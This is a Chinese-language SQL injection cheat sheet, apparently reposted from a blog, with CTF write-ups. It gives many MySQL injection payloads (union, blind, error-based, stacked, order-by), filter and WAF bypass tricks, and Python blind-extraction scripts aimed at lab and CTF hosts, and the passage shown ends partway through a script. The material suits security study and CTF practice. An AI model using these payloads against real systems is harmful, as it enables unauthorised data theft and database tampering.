34

SQL 注入笔记

 4 years ago
source link: https://mp.weixin.qq.com/s/8VXYg-fnJsyxDueWQ3KBYA
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
  • 注入点位置

    • 增 - insert中

    • 查 - where后

    • 查 - limit注入

    • 查 - order by注入

    • 改 - update注入

    • 删 - delete

  • 注入方法

    • union注入

    • 布尔盲注

    • 时间盲注

    • 报错注入

    • 堆叠注入

    • 二次注入

  • 绕过过滤的骚操作

    • 注释符绕过(waf)

    • 字符串变换

    • 过滤等号绕过

    • 过滤空格绕过

    • 过滤括号绕过

    • 过滤引号绕过

    • 过滤逗号绕过

    • 过滤数字绕过

    • 过滤关键字and、or

    • 过滤关键字select

    • 过滤关键字information_schema等

    • 过滤其他关键字

    • 无列名注入

    • 分辨大小写

  • 其他类型的注入

    • 读写文件

    • 写文件功能

    • 读文件功能

    • Rogue-MySql-Server任意文件读取

    • .mysql.history

记录了本人遇到的有关SQL注入的绝大部分情况,应该算是比较全面的总结

文章过长,做了自认为比较有条理的分类,便于使用时直接查找

各位大佬有其他骚姿势可以互相交流交流(笑)

注入点位置

我们知道,在数据库中,常见的对数据进行处理的操作有: 增、删、查、改 这四种。

每一项操作都具有不同的作用,共同构成了对数据的绝大部分操作。

  • 增。顾名思义,也就是增加数据。在通用的SQL语句中,其简单结构通常可概述为: INSERT table_name(columns_name) VALUES(new_values)

  • 查。查询语句可以说是绝大部分应用程序最常用到的SQL语句,他的作用就是查找数据。其简单结构为: SELECT columns_name FROM table_name WHERE condition

  • 改。有修改/更新数据。简单结构为: UPDATE table_name SET column_name=new_value WHERE condition

  • 删。删除数据。简单结构为: DELETE table_name WHERE condition

增 - insert中

原语句常见为

insert into member(username,pw,sex,phonenum,email,address) values('admin',md5('password'),'man','110','[email protected]','a')

此处有两种注入方式,

第一种是插入查询语句,将查询的数据存入相关表,再另找一个可以显示数据的地方即可;

第二种是报错注入

insert into member(username,pw,sex,phonenum,email,address) values('admin'or updatexml(1,concat(0x7e,(users())),0) or'',md5('a'),'a','aa','a','a')
insert into member(username,pw,sex,phonenum,email,address) values('wangwu'or updatexml(1,concat(0x7e,(users())),0) or'',md5('a'),'a','aa','a','a')

#第一种,payload=',(select database())); #(实际注入无分号即可)
mysql> insert into users(id,username,password) VALUES(16,'rayi',(select database())); # ','');
Query OK, 1 row affected (0.00 sec)
Query OK, 0 rows affected (0.00 sec)

mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | rayi | 0 |
| 16 | rayi | security |
+----+----------+------------+
15 rows in set (0.06 sec)
#第二种
mysql> insert into users(username,password) VALUES('rayi','' and updatexml(1,concat(0x7e,(select database()),0x7e),0));
1105 - XPATH syntax error: '~security~'

insert注入需要用 and '1'='1 闭合,不能直接用注释符,否则会因为数据数目不对而出现语法错误

查 - where后

原语句应该为:

select * from users where username = 'admin' and password = '注入点'

检测的方法有许多,例如检测是否有报错,联合查询的结果能不能回显,能否进行延时,能否堆叠注入等

?id=1'
?id=1"
?id=1'
)
?id=1")
?id=1' and 1=2 #
?id=1' and sleep(5)#
?id=1' union select 1,2,3#
?id=1' and 1=2 or '
?id=1';select sleep(5);#
#利用反斜杠也可以检测注入点
?id=1\

查 - limit注入

适用语句:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点]

因为order by的存在,我们无法使用union关键字,但是经过查阅mysql5.x文档的select使用语法,可以发现在limit语句后还有PROCEDURE 和 INTO 关键字

SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

我们都知道若注入点在where子语句之后,判断字段数可以用 order bygroup by 来进行判断,而 limit 后可以利用 into @,@ 判断字段数,其中@为mysql临时变量。

qINBZvA.png!webimg

重点在于 PROCEDURE 存储过程关键字可以执行某些函数

payload在我本地实验时并没有打通,后来百度可知该方法只适用于 5.0.0<mysql<5.6.6 的版本

在这里先借用别人的执行结果

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

sleep函数无法使用,只能用benchmark延时。

例题:

hacking lab inject 04

3YvMb27.png!webimage-20191208192058651

查 - order by注入

下面还有一个 order by盲注 跟这个有些许不同

先说这里,这里order by注入指的是注入点在order by语句处

select id,name,price from goods order by [注入点]

在这里能用到的注入方法有布尔盲注,时间盲注和报错注入

布尔盲注

BZrUNbE.jpg!web28

可以看到,当判断结果不同时,页面返回的结果也就不同

Zj2qMfa.png!webimage-20191208193600229

由此我们可以盲注处数据

同理,可以利用时间盲注

如果页面报错有回显的话,报错注入显然是个更好的选择

image-20191208193828309

改 - update注入

同增,有两种办法

update member set sex='q',phonenum='test'or updatexml(2,concat(0x7e,(users())),0) or'',address='q',email='q' where username='q'

mysql> update users set username = 'asd',password = (select database()) where id=19;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | rayi | 0 |
| 16 | rayi | security |
| 17 | rayi | 1 |
| 18 | rayi | asd |
| 19 | asd | security |
+----+----------+------------+
18 rows in set (0.07 sec)

mysql>

删 - delete

注意不要用判断为真的语句,否则容易造成删库的后果

mysql> delete from users where id=19 and updatexml(0,concat(0x7e,(select database()),0x7e),0);
1105 - XPATH syntax error: '~security~'

注入方法

union注入

最常用的注入方式之一

联合查询注入步骤

  1. 首先,先确定字段数量。

使用 order/group by 语句。通过往后边拼接数字,可确定字段数量, 若大于,则页面错误/无内容,若小于或等于,则页面正常 。若错误页与正常页一样,更换报错注入/盲注。

  1. 第二步,判断页面回显数据的字段位置。

使用 union select 1,2,3,4,x... 我们定义的数字将显示在页面上,即可从中判断页面显示的字段位置。

注意:

  • 若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面现在了单行数据输出,我们让前边的 select 查询条件返回结果为空即可。
  • 注意一定要拼接够足够的字段数,否则SQL语句报错。PS:此方法也可作为判断前条 select 语句的方法之一。
  1. 第三步,在显示的字段位置使用子查询来查询数据,或直接查询也可。

首先,查询当前数据库名database()、数据库账号user()、数据库版本version()等基本情况,再根据不同的版本、不同的权限确定接下来的方法。

若Mysql版本<5.0

简单的说,由于mysql的低版本缺乏系统库 information_schema ,故通常情况下,我们无法直接查询表名,字段(列)名等信息,这时候只能靠 来解决。

直接猜表名与列名是什么,甚至是库名,再使用联合查询取数据。

若知道仅表名而不知道列(字段)名:

可通过以下payload:(后面会详细讲)

  • 若多字段:select x from(select 1,2,3,4,xxx from table_name union select * from table_name)a
  • 若单字段:select *,1,2,xxx from table_name

若Mysql版本>=5.0

Ujy2QfQ.png!web

首先去一个名为 information_schema 的数据库里的 shemata 数据表查询 全部数据库名

若不需要跨数据库的话,可直接跳过此步骤,直接查询相应的数据库下的全部数据表名。

在information_schema的一个名为 tables 的数据表中存着全部的 数据表信息

其中, table_name 字段保存其名称table_schema保存其对应的数据库名

union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database();

上述payload可查看全部的数据表名,其中group_concat函数将多行数据转成一行数据。

接着通过其表名,查询该表的所有字段名,有时也称列名。

通过information_schema库下的 columns 表可查询对应的数据库/数据库表含有的字段名。

Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name)#此处的表名为字符串型,也通过十六进制表示

知道了想要的数据存放的数据库、数据表、字段名,直接联合查询即可。

Union select 1,2,column_name,4,xxx from (database_name.)table_name

简单的说, 查库名->查表名->查字段名->查数据

布尔盲注

首先通过页面对于永真条件 or 1=1 与永假条件 and 1=2 的返回内容是否存在差异进行判断是否可以进行布尔盲注。

我们在将语句注入成: select * from users where username=$username or (condition)

若后边拼接的条件为真的话,那么整条语句的where区域将变成 永真 条件。

时间盲注

mysql> select password from users where username='admin' and if(ascii(substr((select database()),1,1))>1,sleep(3),0);
Empty set (3.00 sec)

时间盲注在ctf比赛和平时生产环境中都是比较常见的,但是当我们常用的函数被过滤的话,那该怎么办呢?这里借一个题好好研究下

题目源码

<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>

第一处语句是不能注入的,因为被强制转换为了整数 看最后一行,$id没有任何转换就拼接入了update语句,于是,我们可以使用时间盲注获取数据 一般我们会用 sleep(5) 或者是 benchmark 来多次执行md5操作来换取比较长的执行时间来替代延时。那么是不是有别的方式替代呢?这里有三个办法。

方法

方法一:笛卡尔积

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积。但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,导致延时时间无法控制。实际利用起来不算好用。不过一般ctf题中的数据库应该不会太大,可以一试

SELECT count(*) FROM information_schema.columns A, information_schema.columns B;

这里选用information_schema.columns表的原因是其内部数据较多,到时候可以根据实际情况调换。A,B的意思就是构成有序N元组,AB是其顺序。查询结果如下

R7nU3aJ.png!web

可以看到,当为有序三元组时,有了较为明显的延迟。所以在写时间盲注脚本的时候把sleep函数替换为

(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)

即可。脚本如下:

import requests

url = 'http://127.0.0.1/Less-9/?id=1'

beg = "' and if(ascii(substr((select database()),{0},1))={1},"

end = "(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C),NULL);--+"
flag = ''
for i in range(1,11):
for j in range(32,127):
payload = url + beg.format(i,j) + end
print(payload)
try:
web = requests.get(payload,timeout=5)
except:
flag += chr(j)
print(flag)
break

方法二:GET_LOCK加锁

知识点

  • mysql_pconnect(server,user,pwd,clientflag)

mysql_pconnect() 函数打开一个到 MySQL 服务器的持久连接 mysql_pconnect()mysql_connect() 非常相似,但有两个主要区别:1、当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接, 如果找到,则返回此连接标识而不打开新连接。2、当脚本执行完毕后到 SQL 服务器的连接不会被关闭,此连接将保持打开以备以后使用 (mysql_close() 不会关闭由 mysql_pconnect() 建立的连接)。

  • get_lock(str,timeout)

Tries to obtain a lock with a name given by the string str, using a timeout of timeout seconds. A negative timeout value means infinite timeout. The lock is exclusive. While held by one session, other sessions cannot obtain a lock of the same name. get_lock 会按照 key 来加锁,别的客户端再以同样的 key 加锁时就加不了了,处于等待状态。在一个 session 中锁定变量,同时通过另外一个 session 执行,将会产生延时

举个栗子 打开两个mysql的shell 现在一个shell中执行命令 select get_lock('test',5) 先上锁 然后另外一个shell中执行重复的命令

vMVFfam.png!web

第二个shell中便出现延迟

2aIV3mN.png!web

至于为什么出现上图的情况吗。。。。原理不明。。。。所以写脚本的时候,先加锁,在盲注即可

import requests

url = 'http://127.0.0.1/Less-9/?id=1'

beg = "' and if(ascii(substr((select database()),{0},1))={1},"

end = "(select get_lock('test',8)),NULL);--+"
flag = ''
prepare = requests.get(url+"' and select get_lock('test',8)--+")
for i in range(1,11):
for j in range(37,127):
payload = url + beg.format(i,j) + end
print(payload)
try:
web = requests.get(payload,timeout=5)
except:
flag += chr(j)
print(flag)
break

方法三:正则匹配延迟

rpad(0x61,4999999,0x61) RLIKE concat(repeat((0x28612e2a29),30),0x62)
-- 大约是5秒

方法四:Benchmark函数

mysql> select benchmark(10000000,sha(1)); 
+-------------------------------+
|benchmark(10000000,sha(1))|
+-------------------------------+
| 0|
+-------------------------------+
1 row in set (2.79 sec)

报错注入

基本注入方法

我们前边说到,报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。

那么,我们具体来说说,都有哪些特殊函数,以及他们都该怎么使用。

MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,由此可以将MySQL报错注入分为以下几类:

  • BigInt等数据类型溢出

  • 函数参数格式错误

  • 主键/字段重复

#数据溢出

#格式错误
-- 以下为都能用的函数
## updatexml()
mysql> select * from users where id = '18' or updatexml(1,concat(0x7e,(select user())),1);
1105 - XPATH syntax error: '~root@localhost'
## extractvalue()
mysql> select * from users where id = '18' or extractvalue(1,concat(0x7e,(select user())));
1105 - XPATH syntax error: '~root@localhost'
## rand()+group()+count()
mysql> select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a;
Duplicate entry ':security:1' for key '<group_key>'
## name_const()(只能显示版本号)
mysql> select * from(select name_const(version(),0x1),name_const(version(),0x1))a;
1060 - Duplicate column name '5.7.26'

-- 以下函数为mysql5.7以上的新函数
## ST_LatFromGeoHash(),ST_LongFromGeoHash(),ST_PointFromGeoHash()
mysql> select ST_PointFromGeoHash((select group_concat(id) from users),1);
ERROR 1411 (HY000): Incorrect geohash value: '1,2,3,4,5,6,7,8,9,10,11,12,14' for function st_pointfromgeohash
mysql> select 1 and ST_LatFromGeoHash((select group_concat(id) from users));
ERROR 1411 (HY000): Incorrect geohash value: '1,2,3,4,5,6,7,8,9,10,11,12,14' for function ST_LATFROMGEOHASH
mysql> select 1 and ST_LongFromGeoHash((select group_concat(id) from users));
ERROR 1411 (HY000): Incorrect geohash value: '1,2,3,4,5,6,7,8,9,10,11,12,14' for function ST_LONGFROMGEOHASH
## GTID_SUBTRACT()
mysql> select GTID_SUBTRACT((select group_concat(id) from users),1);
ERROR 1772 (HY000): Malformed GTID set specification '1,2,3,4,5,6,7,8,9,10,11,12,14'.
## GTID_SUBSET()
mysql> select gtid_subset(concat(0x7e,(select group_concat(id) from users)),1);
Malformed GTID set specification '~1,2,3,4,5,6,7,8,9,10,11,12,14,15,16,17,18'.

-- 以下为8.x的函数
mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));

不存在的函数

随便适用一颗不存在的函数,可能会得到当前所在的数据库名称。

Y7vQJnR.png!webimg

join using() 爆出列名

通过系统关键词join可建立两个表之间的内连接。

通过对想要查询列名的表与其自身建议内连接,会由于冗余的原因(相同列名存在),而发生错误。

并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

mysql>select * from(select * from users a join (select * from users)b)c;
1060 - Duplicate column name 'id'
mysql>select * from(select * from users a join (select * from users)b using(id))c;
1060 - Duplicate column name 'username'
mysql>select * from(select * from users a join (select * from users)b using(id,username))c

突破长度限制

有的时候flag长度会超过报错函数的长度

可以使用substr等函数做限制。或者直接用REVERSE()函数反向输出

mysql> select * from users where id=1 or updatexml(1,concat(0x7e,substr(user(),1,10)),1);
1105 - XPATH syntax error: '~root@local'

部分老函数

未经验证

几何函数

  • GeometryCollection: id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
  • polygon(): id=1 AND polygon((select * from(select * from(select user())a)b))
  • multipoint(): id=1 AND multipoint((select * from(select * from(select user())a)b))
  • multilinestring(): id=1 AND multilinestring((select * from(select * from(select user())a)b))
  • linestring(): id=1 AND LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon() : id=1 AND multipolygon((select * from(select * from(select user())a)b))

Bigint数值操作:

当mysql数据库的某些边界数值进行数值运算时,会报错的原理。

如~0得到的结果:18446744073709551615

若此数参与运算,则很容易会错误。

payload: select !(select * from(select user())a)-~0;

报错函数速查表

注:默认MYSQL_ERRMSG_SIZE=512

类别 函数 版本需求 5.5.x 5.6.x 5.7.x 8.x 函数显错长度 Mysql报错内容长度 额外限制 主键重复 floor round :question: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: 64 data_type ≠ varchar 列名重复 name_const :question: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: only version() 列名重复 join [5.5.49, ?) :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: only columns 数据溢出 - Double 1e308 cot exp pow [5.5.5, 5.5.48] :heavy_check_mark: MYSQL_ERRMSG_SIZE 数据溢出 - BIGINT 1+~0 [5.5.5, 5.5.48] :heavy_check_mark: MYSQL_ERRMSG_SIZE 几何对象 geometrycollection linestring multipoint multipolygon multilinestring polygon [?, 5.5.48] :heavy_check_mark: 244 空间函数 Geohash ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash [5.7, ?) :heavy_check_mark: :heavy_check_mark: 128 GTID gtid_subset gtid_subtract [5.6.5, ?) :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: 200 JSON json_* [5.7.8, 5.7.11] :heavy_check_mark: 200 UUID uuid_to_bin bin_to_uuid [8.0, ?) :heavy_check_mark: 128 XPath extractvalue updatexml [5.1.5, ?) :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: 32

摘自——Mysql 注入基础小结

新操作:

使用库中不存在的函数

使用一个不存在的函数时,会爆出库名

mysql> select 1 and sdf();
ERROR 1305 (42000): FUNCTION security.sdf does not exist

堆叠注入

简单的说,由于分号 ; 为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法执行其他恶意语句,如 RENAMEDROP 等。

注意,通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面。建议使用union联合注入,若无法使用联合注入, 可考虑使用 RENAME 关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名 。具体参考:2019强网杯——随便注Writeup

PHP中堆叠注入的支持情况:

Mysqli PDO MySQL 引入的PHP版本 5.0 5.0 3.0之前 PHP5.x是否包含 是 是 是 多语句执行支持情况 是 大多数 否

随便注

6RnYB32.png!web1567580089568

输入1,返回如图,输入 1' 发现报错

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

由此可得到闭合方式,继续测试,输入 1' and 1=2# 无回显,输入 1' and 1=1# 出现回显。

尝试报错注入,使用updatexml函数发现过滤条件。

FZZjqan.png!web1567580265654

过滤了大部分常用的语句,一时间有没有绕过的方法,再尝试下堆叠注入

输入 1';show tables# 出现回显

26vu6nM.png!web1567580359800

看样子堆叠注入可行,用1';desc `1919810931114514`#查询下表的内容

VBVnquR.png!web1567580544609

flag应该就在1919810931114514表的flag字段里,没有select怎么才能查询出来呢?

有个比较骚的操作,我们可以把flag所在表的表名改成题目正常查询用的名字,也就是把表1919810931114514与words表的名称对调

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

payload
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

1' or 1=1# 查询即可得到payload

特殊方法

因为预编译可以执行许多sql语句,包括修改一些环境变量啥的,所以把这些可以修改的地方记录下来

预编译

需要用到一个叫做 预编译 的的方法

预编译相关语法:

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

payload:

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

类似于命令执行中的 拼接命令

import requests
import time
import threading
import string
import binascii

s1=threading.Semaphore(10) #这儿设置最大的线程数
def get_content(pos):
s1.acquire()
for j in range(37,127):
url = "http://66dcebd767944ea2b784b2008c9d3f0633adb74845d1404b.changame.ichunqiu.com/?id="
payload_1 = "%df';set @sql = CONCAT(0x{});prepare stmt from @sql;EXECUTE stmt;"
#payload_2 = "select if(ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>0,sleep(5),1)"
payload_2 = "select if(ascii(substr((select fllllll4g from table1),{0},1))={1},sleep(5),1)"
#payload = "%df'|| if((lpad(version(),{0},1))=0x{1},(rpad(0x61,4999999,0x61) RLIKE concat(repeat((0x28612e2a29),30),0x62)),1);"

payload_2_tmp = payload_2.format(str(pos),str(j))
payload = payload_1.format(binascii.b2a_hex(payload_2_tmp.encode('utf8')).decode('utf8'))
tmp_url = url + payload
#print(tmp_url)
try:
web = requests.get(tmp_url,timeout=2)
except:
print(str(pos),chr(j))
break

s1.release()

for i in range(1,45): #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

handler

随便住的强化版

不能修改表名,也过滤了set和prepare

害怕吗?

J7NFFv2.png!web 不怕,还有这个奇怪的东西!

mysql> handler users open as test;
Query OK, 0 rows affected (0.00 sec)

mysql> handler test read first;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.01 sec)

mysql> handler test read next;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-love-you |
+----+----------+------------+
1 row in set (0.00 sec)

mysql> handler test read next;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

sql_mode

pipes_as_concat

可以将 || 变为字符串链接符而不是 运算符

例如[SUCTF 2019]EasySQL

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

重要的语句是

  $sql = "select ".$post['query']."||flag from Flag";

如果||是或运算符,返回的结果就只是0和1了,所以这里有两个解法

1、利用堆叠注入修改 sql_mode 变量为 pipes_as_concat ,把||变为链接符

Payload = 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1

jQ7j2iU.png!webimage-20200206150547532

2、题目没过滤*

Payload = *,1

ZF77n2J.png!webimage-20200206150626418

二次注入

就是先把注入语句写到数据库里

然后找到一个查询点激活注入语句

绕过过滤的骚操作

注释符绕过(waf)

#常用注释符
//, -- , /**/, #, --+, -- -, ;,%00,--a
#本地测试未成功,但部分题确实可以绕过
U/**/NION/**/SE/**/LECT/**/user,pwd/**/from/**/user
#内联注释,注意叹号
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()--

mysql> select * /*!from*/ users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
+----+----------+------------+
3 rows in set (0.09 sec)

字符串变换

#大小写
?id=1+UnIoN SeLeCT
#双写
有时候过滤不严谨,只会做关键词替换
ununionion => union
#拆解字符串
?id=1' or '11+11'='11+11'

过滤等号绕过

#使用like
mysql> select * from users where username='admin' and if(substr((select database()),1,1) like 's',1,0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
+----+----------+----------+
1 row in set (0.05 sec)
mysql> select * from users where username='admin' and if(substr((select database()),1,1) like 'a',1,0);
Empty set
#使用in
mysql> select * from users where username='admin' and if(substr((select database()),1,1) in('a'),1,0);
Empty set
mysql> select * from users where username='admin' and if(substr((select database()),1,1) in('s'),1,0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
+----+----------+----------+
1 row in set (0.04 sec)
#使用<>(注意是不等于!!)
mysql> select * from users where username='admin' and if(substr((select database()),1,1) <> 's',1,0);
Empty set
mysql> select * from users where username='admin' and if(substr((select database()),1,1) <> 'a',1,0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
+----+----------+----------+
1 row in set (0.04 sec)
#使用regexp()筛选
mysql> select username from users where username regexp('^bat');
+----------+
| username |
+----------+
| batman |
+----------+
1 row in set (0.01 sec)

过滤空格绕过

#使用注释符/**/
mysql> select/**/database();
+------------+
| database() |
+------------+
| security |
+------------+
1 row in set (0.04 sec)
#使用加号(URL中使用记得编码)%2B
mysql> select+database();
+-------------+
| +database() |
+-------------+
| security |
+-------------+
1 row in set (0.05 sec)
#使用括号嵌套
mysql> select username from users where username='admin'union(select(password)from(users));
+------------+
| username |
+------------+
| admin |
| Dumb |
| I-kill-you |
| p@ssword |
+------------+
4 rows in set (0.05 sec)
#使用其他不可见字符
%09, %0a, %0b, %0c, %0d, %a0等
#and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(规律又不同),and/or前的空格可用省略(未复现成功)
select * from user where username='admin'union(select+title,content/**/from/*!article*/where/**/id='1'and!!!!~~1=1)

以上方法全部被过滤时,可以用 ^ 进行布尔盲注或者时间盲注

7JRRfmY.png!webimage-20200408120652613
?id=0'^1 --+
?id=0'^0
?id=0'^(ascii(substr(database(),1,1))>1)
?id=0'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{0},1))={1})

过滤括号绕过

order by盲注

如果注入的时候没有报错,我们又不知道列名,就只能用order by 盲注了

当然,在 过滤了括号 的时候,order by盲注也是个很好的办法

只适用于表里就一行数据的时候。。。

order by 的主要作用就是让查询出来的数据根据第n列进行排序(默认升序),其排序比较字符的ascii码大小,从第一位开始比较,第一位相同时比较下一位。

例如,我们按照第三列进行排序

#假设第三列会显示在网页上
##显示A
mysql> select 1,2,'A' union select * from users order by 3;
+----+----------+------------+
| 1 | 2 | A |
+----+----------+------------+
| 1 | 2 | A |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
+----+----------+------------+
14 rows in set (0.00 sec)
mysql> select 1,2,'b' union select * from users order by 3;
+----+----------+------------+
| 1 | 2 | b |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 1 | 2 | b |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
+----+----------+------------+
14 rows in set (0.00 sec)

我们可以根据这个特点进行盲注

例如iscc2019的一道题,网页只显示第二列的数据

jABB3uI.png!webimage-20191209100610761

我们就可以使用order by盲注一位一位的测出数据

例如:

 mysql> select * from users where username='Dumb' union select 1,2,'D' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | D |
| 1 | Dumb | Dumb |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where username='Dumb' union select 1,2,'Du' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | Du |
| 1 | Dumb | Dumb |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from users where username='Dumb' union select 1,2,'Dv' order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | Dv |
+----+----------+----------+
2 rows in set (0.00 sec)

在查询到 Dv 时出现了变化,网页上的内容也改变了,于是,我们就可以知道password的第二位为v的前一个字母

那个题目的脚本:

import requests
s = requests.session()
url = 'http://39.100.83.188:8054/'
data = {"username":"union_373_Tom'/*"}
headers = {"User-Agent":"Union.37 Union.373"}
flag = ''
